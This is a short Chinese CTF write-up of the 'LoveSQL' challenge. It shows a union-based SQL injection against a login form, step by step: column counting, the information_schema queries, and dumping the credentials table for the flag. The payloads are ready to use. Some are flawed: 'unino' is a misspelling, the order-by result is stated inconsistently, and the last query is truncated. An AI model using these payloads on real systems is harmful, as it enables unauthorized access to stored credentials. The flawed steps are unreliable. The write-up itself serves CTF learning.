[极客大挑战 2019]LoveSQL 1

进入之后发现是账号密码登录框，尝试一下万能密码

登录成功

经过尝试发现这个password好像没哈用，之后我们在这个页面里尝试在url中进行注入

注意这里是在url中，所以#要用%23代替（url解码）

在username后面输入pl
admin’ order by 3%23和admin’ order by 4%23
发现4的时候不报错（但是这里有个问题就是admin换成别的时候就会提示密码错误，所以要改成admin，因为可能数据库中没有你的那个name）

之后我们看回显点，这个地方username又要到1，我不明白是为什么希望大家可以告诉我qaq

username=1’ union select 1,2,3%23

然后就是常规的注入了

username=1’ unino select 1,database(),3%23
爆库

username=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆表

爆字段username=1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘l0ve1ysq1’%23&password=1

查看字段

group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag